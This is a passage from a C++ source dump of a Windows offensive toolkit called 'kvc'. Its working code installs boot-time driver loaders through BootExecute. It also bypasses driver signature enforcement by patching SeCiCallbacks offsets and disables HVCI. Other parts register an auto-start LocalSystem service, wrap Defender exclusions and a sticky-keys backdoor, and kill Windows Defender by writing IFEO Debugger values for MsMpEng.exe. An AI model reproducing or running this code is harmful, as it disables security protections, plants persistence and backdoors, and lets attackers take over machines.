        DeleteFileW(HVCI_SVC_EXE_PATH);
        return;
    }
    SUCCESS(L"HvciShutdownSvc.exe written to System32 (%lu bytes)", written);

    // Register as AUTO_START service running as LocalSystem
    SC_HANDLE hScm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CREATE_SERVICE);
    if (!hScm) {
        INFO(L"HvciShutdownSvc: OpenSCManager failed (%lu)", GetLastError());
        return;
    }

    SC_HANDLE hSvc = CreateServiceW(
        hScm,
        HVCI_SVC_NAME, HVCI_SVC_NAME,
        SERVICE_ALL_ACCESS,
        SERVICE_WIN32_OWN_PROCESS,
        SERVICE_AUTO_START,
        SERVICE_ERROR_IGNORE,
        HVCI_SVC_EXE_PATH,
        nullptr, nullptr, nullptr,
        nullptr /* LocalSystem */, nullptr);

    if (!hSvc) {
        DWORD err = GetLastError();
        if (err == ERROR_SERVICE_EXISTS) {
            SC_HANDLE hExisting = OpenServiceW(hScm, HVCI_SVC_NAME,
                                               SERVICE_QUERY_CONFIG | SERVICE_QUERY_STATUS);
            if (hExisting) {
                SERVICE_STATUS ss{};
                QUERY_SERVICE_CONFIGW* cfg = nullptr;
                DWORD needed = 0;
                QueryServiceConfigW(hExisting, nullptr, 0, &needed);
                std::vector<BYTE> cfgBuf(needed);
                cfg = reinterpret_cast<QUERY_SERVICE_CONFIGW*>(cfgBuf.data());
                bool gotCfg = QueryServiceConfigW(hExisting, cfg, needed, &needed);
                QueryServiceStatus(hExisting, &ss);
                CloseServiceHandle(hExisting);

                const wchar_t* state     = (ss.dwCurrentState == SERVICE_RUNNING) ? L"RUNNING"
                                         : (ss.dwCurrentState == SERVICE_STOPPED) ? L"STOPPED"
                                         : L"OTHER";
                const wchar_t* startType = (gotCfg && cfg->dwStartType == SERVICE_AUTO_START)   ? L"AUTO_START"
                                         : (gotCfg && cfg->dwStartType == SERVICE_DEMAND_START) ? L"DEMAND_START"
                                         : (gotCfg && cfg->dwStartType == SERVICE_DISABLED)     ? L"DISABLED"
                                         : L"OTHER";
                INFO(L"HvciShutdownSvc already registered — state: %s, start: %s (not modified)",
                     state, startType);
            } else {
                INFO(L"HvciShutdownSvc already registered (cannot query status)");
            }
        } else {
            INFO(L"HvciShutdownSvc: CreateService failed (%lu)", err);
        }
        CloseServiceHandle(hScm);
        return;
    }

    // Freshly created — start it immediately
    if (!StartServiceW(hSvc, 0, nullptr) && GetLastError() != ERROR_SERVICE_ALREADY_RUNNING)
        INFO(L"HvciShutdownSvc: StartService failed (%lu)", GetLastError());
    else
        SUCCESS(L"HvciShutdownSvc registered and running");
    CloseServiceHandle(hSvc);
    CloseServiceHandle(hScm);
}

bool Controller::InstallSmssDriver(const std::wstring& driverArg, bool usePdb) noexcept {
    INFO(L"Installing SMSS boot-phase driver loader...");

    // --- 0. Extract all embedded components ---
    std::vector<BYTE> kvcSysData, kvckillerData, kvcblockerData, kvcstrmData, dllData, smssData;
    if (!Utils::ExtractResourceComponents(IDR_MAINICON, kvcSysData, kvckillerData, kvcblockerData, kvcstrmData, dllData, smssData) || smssData.empty()) {
        ERROR(L"Failed to extract components from resource");
        return false;
    }

    // Helper: returns true if the file at path exists and its bytes match expected.
    auto FileBytesMatch = [](const std::wstring& path, const std::vector<BYTE>& expected) -> bool {
        HANDLE h = CreateFileW(path.c_str(), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE,
                               nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
        if (h == INVALID_HANDLE_VALUE) return false;
        LARGE_INTEGER sz{};
        bool ok = GetFileSizeEx(h, &sz) &&
                  sz.QuadPart == static_cast<LONGLONG>(expected.size());
        if (ok) {
            std::vector<BYTE> buf(expected.size());
            DWORD nRead = 0;
            ok = ReadFile(h, buf.data(), static_cast<DWORD>(expected.size()), &nRead, nullptr) &&
                 nRead == static_cast<DWORD>(expected.size()) &&
                 buf == expected;
        }
        CloseHandle(h);
        return ok;
    };

    // --- 0a. Deploy kvc_smss.exe to System32 if not already present ---
    if (GetFileAttributesW(SMSS_SYSTEM32_PATH) == INVALID_FILE_ATTRIBUTES) {
        HANDLE hFile = CreateFileW(SMSS_SYSTEM32_PATH, GENERIC_WRITE, 0, nullptr,
                                   CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
        if (hFile == INVALID_HANDLE_VALUE) {
            ERROR(L"Failed to create %s: %lu", SMSS_SYSTEM32_PATH, GetLastError());
            return false;
        }
        DWORD written = 0;
        WriteFile(hFile, smssData.data(), static_cast<DWORD>(smssData.size()), &written, nullptr);
        CloseHandle(hFile);
        if (written != smssData.size()) {
            ERROR(L"Failed to write kvc_smss.exe to System32 (wrote %lu of %zu bytes)", written, smssData.size());
            DeleteFileW(SMSS_SYSTEM32_PATH);
            return false;
        }
        SUCCESS(L"kvc_smss.exe deployed to System32 (%lu bytes)", written);
    } else {
        INFO(L"kvc_smss.exe already present in System32");
    }

    // --- 0a2. Extract HvciShutdownSvc.exe and register HvciShutdownSvc ---
    // Skip when existing drivers.ini has RestoreHVCI=NO; kvc_smss will clean up on boot.
    {
        std::wstring existingIni;
        bool skipHvci = ReadUtf16File(SMSS_INI_PATH, existingIni) &&
                        existingIni.find(L"RestoreHVCI=NO") != std::wstring::npos;
        if (!skipHvci)
            DeployHvciShutdownService();
    }

    // --- 0b. Deploy kvc.sys, kvckiller.sys, kvcblocker.sys and kvcstrm.sys to DriverStore FileRepository ---
    {
        std::wstring driverDir      = GetDriverStorePath();
        std::wstring kvcSysPath     = driverDir + L"\\" + GetDriverFileName();
        std::wstring kvckillerPath  = driverDir + L"\\kvckiller.sys";
        std::wstring kvcblockerPath = driverDir + L"\\kvcblocker.sys";
        std::wstring kvcstrmPath    = driverDir + L"\\" + GetKvcstrmFileName();

        if (!m_trustedInstaller.CreateDirectoryAsTrustedInstaller(driverDir)) {
            ERROR(L"Failed to create DriverStore directory: %s", driverDir.c_str());
            return false;
        }

        if (!FileBytesMatch(kvcSysPath, kvcSysData)) {
            if (!m_trustedInstaller.WriteFileAsTrustedInstaller(kvcSysPath, kvcSysData) ||
                GetFileAttributesW(kvcSysPath.c_str()) == INVALID_FILE_ATTRIBUTES) {
                ERROR(L"Failed to deploy kvc.sys to DriverStore");
                return false;
            }
            SUCCESS(L"kvc.sys deployed to DriverStore");
        } else {
            INFO(L"kvc.sys already up to date in DriverStore");
        }

        // Deploy kvckiller.sys if present
        if (!kvckillerData.empty()) {
            if (!FileBytesMatch(kvckillerPath, kvckillerData)) {
                if (!m_trustedInstaller.WriteFileAsTrustedInstaller(kvckillerPath, kvckillerData) ||
                    GetFileAttributesW(kvckillerPath.c_str()) == INVALID_FILE_ATTRIBUTES) {
                    ERROR(L"Failed to deploy kvckiller.sys to DriverStore");
                    return false;
                }
                SUCCESS(L"kvckiller.sys deployed to DriverStore");
            } else {
                INFO(L"kvckiller.sys already up to date in DriverStore");
            }
        }

        // Deploy kvcblocker.sys if present
        if (!kvcblockerData.empty()) {
            if (!FileBytesMatch(kvcblockerPath, kvcblockerData)) {
                if (!m_trustedInstaller.WriteFileAsTrustedInstaller(kvcblockerPath, kvcblockerData) ||
                    GetFileAttributesW(kvcblockerPath.c_str()) == INVALID_FILE_ATTRIBUTES) {
                    ERROR(L"Failed to deploy kvcblocker.sys to DriverStore");
                    return false;
                }
                SUCCESS(L"kvcblocker.sys deployed to DriverStore");
            } else {
                INFO(L"kvcblocker.sys already up to date in DriverStore");
            }
        }

        if (!FileBytesMatch(kvcstrmPath, kvcstrmData)) {
            if (!m_trustedInstaller.WriteFileAsTrustedInstaller(kvcstrmPath, kvcstrmData)) {
                if (GetFileAttributesW(kvcstrmPath.c_str()) == INVALID_FILE_ATTRIBUTES) {
                    ERROR(L"Failed to deploy kvcstrm.sys to DriverStore");
                    return false;
                }
                DEBUG(L"kvcstrm.sys write skipped (file locked by running driver) - existing copy retained");
            } else {
                SUCCESS(L"kvcstrm.sys deployed to DriverStore");
            }
        } else {
            INFO(L"kvcstrm.sys already up to date in DriverStore");
        }
    }

    // --- 1. Resolve driver name and path ---
    std::wstring serviceName = BuildServiceName(driverArg);
    std::wstring imagePath   = BuildDriverImagePath(driverArg);

    INFO(L"Service name : %s", serviceName.c_str());
    INFO(L"Image path   : %s", imagePath.c_str());

    // --- 2. Read or create drivers.ini ---
    std::wstring ini;
    bool fileExists = ReadUtf16File(SMSS_INI_PATH, ini);

    // Build/update [Config] section if missing
    if (ini.find(L"[Config]") == std::wstring::npos) {
        std::wstring config;
        config += L"[Config]\r\n";
        config += L"Execute=YES\r\n";
        config += L"RestoreHVCI=YES\r\n";
        config += L"Verbose=NO\r\n";
        config += L"DriverDevice=\\Device\\kvc\r\n";

        wchar_t ioctlReadBuf[32], ioctlWriteBuf[32];
        _ui64tow_s(SMSS_IOCTL_READ,  ioctlReadBuf,  32, 10);
        _ui64tow_s(SMSS_IOCTL_WRITE, ioctlWriteBuf, 32, 10);
        config += std::wstring(L"IoControlCode_Read=")  + ioctlReadBuf  + L"\r\n";
        config += std::wstring(L"IoControlCode_Write=") + ioctlWriteBuf + L"\r\n";

        if (usePdb) {
            if (!m_dseBypass)
                m_dseBypass = std::make_unique<DSEBypass>(m_rtc, &m_trustedInstaller);

            auto kernelInfo = m_dseBypass->GetKernelInfo();
            if (kernelInfo) {
                auto [kernelBase, kernelPath] = *kernelInfo;
                INFO(L"Kernel path  : %s", kernelPath.c_str());

                SymbolEngine symEngine;
                auto offsets = symEngine.GetSymbolOffsets(kernelPath);
                if (offsets) {
                    auto [offSeCi, offZwFlush] = *offsets;
                    INFO(L"Offset SeCiCallbacks : 0x%llX", offSeCi);
                    INFO(L"Offset ZwFlush       : 0x%llX", offZwFlush);

                    wchar_t seciOffBuf[32], cbOffBuf[32], safeOffBuf[32];
                    _ui64tow_s(offSeCi,              seciOffBuf, 32, 10);
                    _ui64tow_s(SMSS_CALLBACK_OFFSET, cbOffBuf,   32, 10);
                    _ui64tow_s(offZwFlush,           safeOffBuf, 32, 10);
                    config += std::wstring(L"Offset_SeCiCallbacks=") + seciOffBuf + L"\r\n";
                    config += std::wstring(L"Offset_Callback=")      + cbOffBuf   + L"\r\n";
                    config += std::wstring(L"Offset_SafeFunction=")  + safeOffBuf + L"\r\n";
                    config += L"OffsetSource=PDB\r\n";
                    INFO(L"PDB offsets resolved and written to drivers.ini");
                } else {
                    INFO(L"PDB lookup failed - boot-time scanner will resolve offsets");
                }
            } else {
                INFO(L"Kernel info unavailable - boot-time scanner will resolve offsets");
            }
        } else {
            INFO(L"Boot-time scanner will resolve kernel offsets (use --pdb to pre-resolve via symbols)");
        }

        config += L"\r\n";
        ini = config + ini;
        fileExists = false; // force full rewrite
    }

    auto appendTemplateSectionIfMissing = [&](const wchar_t* header, const std::wstring& section) {
        if (ini.find(header) != std::wstring::npos) {
            return;
        }

        if (!ini.empty() && ini.size() >= 2 && ini.substr(ini.size() - 2) != L"\r\n") {
            ini += L"\r\n";
        }

        ini += section;
    };

    // Check if this driver is already registered
    std::wstring searchKey = L"ServiceName=" + serviceName;
    if (ini.find(searchKey) != std::wstring::npos) {
        INFO(L"Driver '%s' is already registered in drivers.ini", serviceName.c_str());
    } else {
        // Append new [DriverN] section
        int driverNum = CountDriverSections(ini);
        wchar_t numBuf[16];
        _itow_s(driverNum, numBuf, 10);

        std::wstring section;
        section += L"[Driver" + std::wstring(numBuf) + L"]\r\n";
        section += L"Action=LOAD\r\n";
        section += L"AutoPatch=YES\r\n";
        section += L"ServiceName=" + serviceName + L"\r\n";
        section += L"ImagePath=" + imagePath + L"\r\n";
        section += L"DriverType=1\r\n";
        section += L"StartType=1\r\n";
        section += L"\r\n";

        ini += section;
        SUCCESS(L"Driver '%s' added to drivers.ini", serviceName.c_str());
    }

    appendTemplateSectionIfMissing(
        L"[RenameX]",
        L"[RenameX]\r\n"
        L"; Action=RENAME\r\n"
        L"; SourcePath=\r\n"
        L"; TargetPath=\r\n"
        L"; ReplaceIfExists=NO\r\n"
        L"\r\n");

    appendTemplateSectionIfMissing(
        L"[DeleteX]",
        L"[DeleteX]\r\n"
        L"; Action=DELETE\r\n"
        L"; DeletePath=\r\n"
        L"; RecursiveDelete=NO\r\n"
        L"\r\n");

    // --- 4. Write drivers.ini ---
    if (!WriteUtf16File(SMSS_INI_PATH, ini)) {
        ERROR(L"Failed to write %s", SMSS_INI_PATH);
        return false;
    }
    SUCCESS(L"drivers.ini written to %s", SMSS_INI_PATH);

    // --- 5. Register kvc_smss in BootExecute ---
    if (!AddBootExecuteEntry()) {
        ERROR(L"Failed to register kvc_smss in BootExecute");
        return false;
    }
    SUCCESS(L"kvc_smss registered in BootExecute");
    INFO(L"Driver will be loaded at next boot before Winlogon");
    return true;
}

bool Controller::UninstallSmss() noexcept {
    INFO(L"Removing SMSS boot-phase driver loader...");
    bool ok = true;

    // Remove BootExecute entry
    if (RemoveBootExecuteEntry()) {
        SUCCESS(L"kvc_smss removed from BootExecute");
    } else {
        ERROR(L"Failed to remove kvc_smss from BootExecute");
        ok = false;
    }

    // Delete drivers.ini
    if (GetFileAttributesW(SMSS_INI_PATH) != INVALID_FILE_ATTRIBUTES) {
        if (DeleteFileW(SMSS_INI_PATH)) {
            SUCCESS(L"drivers.ini deleted");
        } else {
            ERROR(L"Failed to delete drivers.ini: %lu", GetLastError());
            ok = false;
        }
    } else {
        INFO(L"drivers.ini not found - nothing to delete");
    }

    // Remove kvc_smss.exe from System32
    if (GetFileAttributesW(SMSS_SYSTEM32_PATH) != INVALID_FILE_ATTRIBUTES) {
        if (DeleteFileW(SMSS_SYSTEM32_PATH)) {
            SUCCESS(L"kvc_smss.exe removed from System32");
        } else {
            ERROR(L"Failed to delete kvc_smss.exe: %lu", GetLastError());
            ok = false;
        }
    } else {
        INFO(L"kvc_smss.exe not found in System32 - nothing to delete");
    }

    // Remove HvciShutdownSvc service and executable
    SC_HANDLE hScm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
    if (hScm) {
        SC_HANDLE hSvc = OpenServiceW(hScm, HVCI_SVC_NAME,
                                      SERVICE_STOP | SERVICE_QUERY_STATUS | DELETE);
        if (hSvc) {
            SERVICE_STATUS ss{};
            ControlService(hSvc, SERVICE_CONTROL_STOP, &ss);
            // Re-query: fast services may already be STOPPED before notify registers
            QueryServiceStatus(hSvc, &ss);
            if (ss.dwCurrentState != SERVICE_STOPPED) {
                HANDLE hEvent = CreateEventW(nullptr, FALSE, FALSE, nullptr);
                if (hEvent) {
                    SERVICE_NOTIFY sn{};
                    sn.dwVersion         = SERVICE_NOTIFY_STATUS_CHANGE;
                    sn.pfnNotifyCallback = [](PVOID ctx) {
                        SetEvent(reinterpret_cast<HANDLE>(
                            static_cast<PSERVICE_NOTIFY>(ctx)->pContext));
                    };
                    sn.pContext = hEvent;
                    if (NotifyServiceStatusChange(hSvc, SERVICE_NOTIFY_STOPPED, &sn) == ERROR_SUCCESS) {
                        DWORD wr;
                        do { wr = WaitForSingleObjectEx(hEvent, 5000, TRUE); }
                        while (wr == WAIT_IO_COMPLETION);
                    }
                    CloseHandle(hEvent);
                }
            }
            if (DeleteService(hSvc))
                SUCCESS(L"HvciShutdownSvc service removed");
            else
                INFO(L"HvciShutdownSvc: DeleteService failed (%lu)", GetLastError());
            CloseServiceHandle(hSvc);
        }
        CloseServiceHandle(hScm);
    }
    if (GetFileAttributesW(HVCI_SVC_EXE_PATH) != INVALID_FILE_ATTRIBUTES) {
        if (DeleteFileW(HVCI_SVC_EXE_PATH)) {
            SUCCESS(L"HvciShutdownSvc.exe removed from System32");
            // Restore Enabled=1 only if it was explicitly set to 0 by DoShutdownAction
            static const wchar_t* kHvciKey =
                L"SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\\Scenarios\\HypervisorEnforcedCodeIntegrity";
            HKEY hk = nullptr;
            if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, kHvciKey, 0, KEY_READ | KEY_SET_VALUE, &hk) == ERROR_SUCCESS) {
                DWORD val = 0, sz = sizeof(val), type = 0;
                LSTATUS qr = RegQueryValueExW(hk, L"Enabled", nullptr, &type,
                                              reinterpret_cast<BYTE*>(&val), &sz);
                if (qr == ERROR_SUCCESS && type == REG_DWORD && val == 0) {
                    DWORD one = 1;
                    if (RegSetValueExW(hk, L"Enabled", 0, REG_DWORD,
                                      reinterpret_cast<const BYTE*>(&one), sizeof(one)) == ERROR_SUCCESS)
                        SUCCESS(L"HypervisorEnforcedCodeIntegrity restored (Enabled=1)");
                }
                RegCloseKey(hk);
            }
        } else {
            INFO(L"HvciShutdownSvc: cannot delete exe (%lu)", GetLastError());
        }
    }

    return ok;
}

<<<FILE: kvc/ControllerSystemIntegration.cpp>>>
Created:  2026-02-27 12:50:26
Modified: 2026-02-27 11:44:42
Size:     4.25 KB
// ControllerSystemIntegration.cpp
#include "Controller.h"
#include "common.h"
#include "Utils.h"

// Self-protection operations for process elevation
bool Controller::SelfProtect(const std::wstring& protectionLevel, const std::wstring& signerType) noexcept {
    auto level = Utils::GetProtectionLevelFromString(protectionLevel);
    auto signer = Utils::GetSignerTypeFromString(signerType);

    if (!level || !signer) {
        ERROR(L"Invalid protection level or signer type specified");
        return false;
    }

    UCHAR newProtection = Utils::GetProtection(level.value(), signer.value());
    return SetCurrentProcessProtection(newProtection);
}

bool Controller::SetCurrentProcessProtection(UCHAR protection) noexcept {
    DWORD currentPid = GetCurrentProcessId();
    auto kernelAddr = GetProcessKernelAddress(currentPid);
    if (!kernelAddr) {
        ERROR(L"Failed to get kernel address for current process");
        return false;
    }
    return SetProcessProtection(kernelAddr.value(), protection);
}


// TrustedInstaller integration for maximum privilege operations
bool Controller::RunAsTrustedInstaller(const std::wstring& commandLine) {
    return m_trustedInstaller.RunAsTrustedInstaller(commandLine);
}

bool Controller::RunAsTrustedInstallerSilent(const std::wstring& command) {
    return m_trustedInstaller.RunAsTrustedInstallerSilent(command);
}

bool Controller::AddContextMenuEntries() {
    return m_trustedInstaller.AddContextMenuEntries();
}

// Legacy Defender exclusion management (backward compatibility)
bool Controller::AddToDefenderExclusions(const std::wstring& customPath) {
    return m_trustedInstaller.AddToDefenderExclusions(customPath);
}

bool Controller::RemoveFromDefenderExclusions(const std::wstring& customPath) {
    return m_trustedInstaller.RemoveFromDefenderExclusions(customPath);
}

// Enhanced Defender exclusion management with type specification
bool Controller::AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType type, const std::wstring& value) {
    return m_trustedInstaller.AddDefenderExclusion(type, value);
}

bool Controller::RemoveDefenderExclusion(TrustedInstallerIntegrator::ExclusionType type, const std::wstring& value) {
    return m_trustedInstaller.RemoveDefenderExclusion(type, value);
}

// Type-specific exclusion convenience methods
bool Controller::AddExtensionExclusion(const std::wstring& extension) {
    return m_trustedInstaller.AddExtensionExclusion(extension);
}

bool Controller::RemoveExtensionExclusion(const std::wstring& extension) {
    return m_trustedInstaller.RemoveExtensionExclusion(extension);
}

bool Controller::AddIpAddressExclusion(const std::wstring& ipAddress) {
    return m_trustedInstaller.AddIpAddressExclusion(ipAddress);
}

bool Controller::RemoveIpAddressExclusion(const std::wstring& ipAddress) {
    return m_trustedInstaller.RemoveIpAddressExclusion(ipAddress);
}

bool Controller::AddProcessExclusion(const std::wstring& processName) {
    return m_trustedInstaller.AddProcessToDefenderExclusions(processName);
}

bool Controller::RemoveProcessExclusion(const std::wstring& processName) {
    return m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName);
}

bool Controller::AddPathExclusion(const std::wstring& path) {
    return m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, path);
}

bool Controller::RemovePathExclusion(const std::wstring& path) {
    return m_trustedInstaller.RemoveDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, path);
}

// Sticky keys backdoor operations with TrustedInstaller integration
bool Controller::InstallStickyKeysBackdoor() noexcept {
    return m_trustedInstaller.InstallStickyKeysBackdoor();
}

bool Controller::RemoveStickyKeysBackdoor() noexcept {
    return m_trustedInstaller.RemoveStickyKeysBackdoor();
}

// ============================================================================
// WATERMARK MANAGEMENT
// ============================================================================

bool Controller::RemoveWatermark() noexcept
{
    return m_watermarkManager.RemoveWatermark();
}

bool Controller::RestoreWatermark() noexcept
{
    return m_watermarkManager.RestoreWatermark();
}

std::wstring Controller::GetWatermarkStatus() noexcept
{
    return m_watermarkManager.GetWatermarkStatus();
}


<<<FILE: kvc/DefenderManager.cpp>>>
Created:  2026-05-03 13:55:03
Modified: 2026-05-03 13:55:03
Size:     13.29 KB
// DefenderManager.cpp
// Windows Defender engine control via IFEO offline hive manipulation.

#include "DefenderManager.h"
#include "common.h"

#include <tlhelp32.h>

namespace fs = std::filesystem;

// ============================================================================
// PUBLIC INTERFACE
// ============================================================================

bool DefenderManager::DisableSecurityEngine() noexcept
{
    std::wcout << L"[*] Adding IFEO block for MsMpEng.exe...\n";

    if (!EnableRequiredPrivileges()) {
        std::wcout << L"[!] Failed to enable SE_BACKUP_NAME/SE_RESTORE_NAME\n";
        return false;
    }

    HiveContext ctx;
    if (!CreateIFEOSnapshot(ctx)) {
        std::wcout << L"[!] Failed to create IFEO hive snapshot\n";
        return false;
    }
    if (!ModifyMsMpEngIFEO(ctx, true)) {
        std::wcout << L"[!] Failed to set Debugger value in temp hive\n";
        return false;
    }
    if (!RestoreIFEOSnapshot(ctx)) {
        std::wcout << L"[!] Failed to restore IFEO hive\n";
        return false;
    }

    std::wcout << L"[+] IFEO block set (WinDefend's self-preservation capabilities are disabled.)\n";
    return true;
}

bool DefenderManager::EnableSecurityEngine() noexcept
{
    std::wcout << L"[*] Removing IFEO block for MsMpEng.exe...\n";

    if (!EnableRequiredPrivileges()) {
        std::wcout << L"[!] Failed to enable SE_BACKUP_NAME/SE_RESTORE_NAME\n";
        return false;
    }

    HiveContext ctx;
    if (!CreateIFEOSnapshot(ctx)) {
        std::wcout << L"[!] Failed to create IFEO hive snapshot\n";
        return false;
    }
    if (!ModifyMsMpEngIFEO(ctx, false)) {
        std::wcout << L"[!] Failed to remove Debugger value from temp hive\n";
        return false;
    }
    if (!RestoreIFEOSnapshot(ctx)) {
        std::wcout << L"[!] Failed to restore IFEO hive\n";
        return false;
    }

    std::wcout << L"[+] IFEO block removed\n";

    std::wcout << L"[*] Starting WinDefend service...\n";
    if (StartWinDefend()) {
        std::wcout << L"[+] WinDefend started — MsMpEng.exe will launch shortly\n";
    } else {
        std::wcout << L"[-] WinDefend could not be started (service may be absent or disabled)\n";
    }

    SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT);
    if (hSCM) {
        SC_HANDLE hHealth = OpenServiceW(hSCM, L"SecurityHealthService", SERVICE_START);
        if (hHealth) {
            if (StartServiceW(hHealth, 0, nullptr) ||
                GetLastError() == ERROR_SERVICE_ALREADY_RUNNING)
                std::wcout << L"[+] SecurityHealthService started\n";
            else
                std::wcout << L"[-] SecurityHealthService could not be started\n";
            CloseServiceHandle(hHealth);
        }
        CloseServiceHandle(hSCM);
    }

    {
        STARTUPINFOW si{};
        si.cb = sizeof(si);
        PROCESS_INFORMATION pi{};
        if (CreateProcessW(L"C:\\Windows\\System32\\SecurityHealthSystray.exe",
                           nullptr, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &si, &pi)) {
            std::wcout << L"[+] SecurityHealthSystray.exe launched\n";
            CloseHandle(pi.hThread);
            CloseHandle(pi.hProcess);
        } else {
            std::wcout << L"[-] SecurityHealthSystray.exe could not be launched (err=" << GetLastError() << L")\n";
        }
    }

    return true;
}

// ============================================================================
// STATUS
// ============================================================================

DefenderManager::DefenderStatus DefenderManager::QueryStatus() noexcept
{
    DefenderStatus s{};
    s.state           = SecurityState::UNKNOWN;
    s.ifeoBlocked     = false;
    s.winDefendRunning = false;
    s.msmpengRunning  = false;

    // --- IFEO check (read-only, no elevation needed) ---
    HKEY hKey = nullptr;
    if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, MSMPENG_SUBKEY,
                      0, KEY_READ, &hKey) == ERROR_SUCCESS) {
        wchar_t buf[MAX_PATH] = {};
        DWORD sz   = sizeof(buf);
        DWORD type = 0;
        if (RegQueryValueExW(hKey, DEBUGGER_VALUE, nullptr, &type,
                             reinterpret_cast<LPBYTE>(buf), &sz) == ERROR_SUCCESS
            && type == REG_SZ) {
            s.ifeoBlocked   = true;
            s.ifeoDebugger  = buf;
        }
        RegCloseKey(hKey);
    }

    // --- WinDefend service state ---
    SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT);
    if (hSCM) {
        SC_HANDLE hSvc = OpenServiceW(hSCM, WINDEFEND_SVC, SERVICE_QUERY_STATUS);
        if (hSvc) {
            SERVICE_STATUS ss{};
            if (QueryServiceStatus(hSvc, &ss)) {
                s.winDefendRunning = (ss.dwCurrentState == SERVICE_RUNNING);
                if (ss.dwCurrentState == SERVICE_RUNNING && !s.ifeoBlocked)
                    s.state = SecurityState::ACTIVE;
                else if (s.ifeoBlocked)
                    s.state = SecurityState::IFEO_BLOCKED;
                else
                    s.state = SecurityState::INACTIVE;
            }
            CloseServiceHandle(hSvc);
        } else {
            // Service handle not found — Defender may not be installed.
            s.state = (GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST)
                      ? SecurityState::NOT_INSTALLED
                      : SecurityState::UNKNOWN;
        }
        CloseServiceHandle(hSCM);
    }

    // --- MsMpEng.exe process ---
    s.msmpengRunning = IsMsMpEngRunning();

    // Refine state: if IFEO block is set but engine is currently alive, still
    // report IFEO_BLOCKED — it will stay dead after the next restart.
    if (s.ifeoBlocked)
        s.state = SecurityState::IFEO_BLOCKED;

    return s;
}

DefenderManager::SecurityState DefenderManager::GetSecurityEngineStatus() noexcept
{
    return QueryStatus().state;
}

// ============================================================================
// PRIVATE — HIVE OPERATIONS
// ============================================================================

bool DefenderManager::EnableRequiredPrivileges() noexcept
{
    return PrivilegeUtils::EnablePrivilege(SE_BACKUP_NAME) &&
           PrivilegeUtils::EnablePrivilege(SE_RESTORE_NAME);
}

bool DefenderManager::CreateIFEOSnapshot(HiveContext& ctx) noexcept
{
    ctx.tempPath = ::GetSystemTempPath();
    if (ctx.tempPath.empty()) {
        std::wcout << L"[!] Cannot resolve system temp path\n";
        return false;
    }

    ctx.hiveFile = ctx.tempPath + L"\\Ifeo.hiv";

    // Remove stale hive file.
    if (fs::exists(ctx.hiveFile))
        DeleteFileW(ctx.hiveFile.c_str());

    // Unload any leftover TempIFEO mount.
    HKEY hCheck = nullptr;
    if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, TEMP_HIVE_NAME,
                      0, KEY_READ, &hCheck) == ERROR_SUCCESS) {
        RegCloseKey(hCheck);
        RegUnLoadKeyW(HKEY_LOCAL_MACHINE, TEMP_HIVE_NAME);
    }

    // Save the live IFEO subtree to disk.
    HKEY hIfeo = nullptr;
    if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, IFEO_KEY,
                      0, KEY_READ, &hIfeo) != ERROR_SUCCESS) {
        std::wcout << L"[!] Cannot open IFEO registry key\n";
        return false;
    }

    LONG r = RegSaveKeyExW(hIfeo, ctx.hiveFile.c_str(), nullptr, REG_LATEST_FORMAT);
    RegCloseKey(hIfeo);
    if (r != ERROR_SUCCESS) {
        std::wcout << L"[!] RegSaveKeyEx failed: " << r << L"\n";
        return false;
    }

    // Mount the saved hive as HKLM\TempIFEO.
    if (RegLoadKeyW(HKEY_LOCAL_MACHINE, TEMP_HIVE_NAME,
                    ctx.hiveFile.c_str()) != ERROR_SUCCESS) {
        std::wcout << L"[!] RegLoadKey failed\n";
        return false;
    }

    return true;
}

bool DefenderManager::ModifyMsMpEngIFEO(const HiveContext& /*ctx*/, bool addBlock) noexcept
{
    // MsMpEng.exe is required; SecurityHealthSystray.exe and SecurityHealthService.exe
    // are companion blocks — their failure is non-fatal.
    static constexpr const wchar_t* targets[] = {
        L"MsMpEng.exe",
        L"SecurityHealthSystray.exe",
        L"SecurityHealthService.exe"
    };

    for (size_t i = 0; i < 3; ++i) {
        const std::wstring keyPath = std::wstring(TEMP_HIVE_NAME) + L"\\" + targets[i];
        const bool required = (i == 0);

        if (addBlock) {
            HKEY hKey = nullptr;
            LONG r = RegCreateKeyExW(HKEY_LOCAL_MACHINE, keyPath.c_str(),
                                     0, nullptr, REG_OPTION_NON_VOLATILE,
                                     KEY_WRITE, nullptr, &hKey, nullptr);
            if (r != ERROR_SUCCESS) {
                if (required) {
                    std::wcout << L"[!] RegCreateKeyEx on TempIFEO\\" << targets[i]
                               << L" failed: " << r << L"\n";
                    return false;
                }
                continue;
            }
            const DWORD sz = static_cast<DWORD>((wcslen(DEBUGGER_PAYLOAD) + 1) * sizeof(wchar_t));
            r = RegSetValueExW(hKey, DEBUGGER_VALUE, 0, REG_SZ,
                               reinterpret_cast<const BYTE*>(DEBUGGER_PAYLOAD), sz);
            RegCloseKey(hKey);
            if (r != ERROR_SUCCESS && required) {
                std::wcout << L"[!] RegSetValueEx Debugger failed: " << r << L"\n";
                return false;
            }
        } else {
            HKEY hKey = nullptr;
            if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, keyPath.c_str(),
                              0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {
                RegDeleteValueW(hKey, DEBUGGER_VALUE);
                RegCloseKey(hKey);
            }
            RegDeleteKeyW(HKEY_LOCAL_MACHINE, keyPath.c_str());
        }
    }

    return true;
}

bool DefenderManager::RestoreIFEOSnapshot(const HiveContext& ctx) noexcept
{
    // Flush and unmount the temp hive.
    if (RegUnLoadKeyW(HKEY_LOCAL_MACHINE, TEMP_HIVE_NAME) != ERROR_SUCCESS)
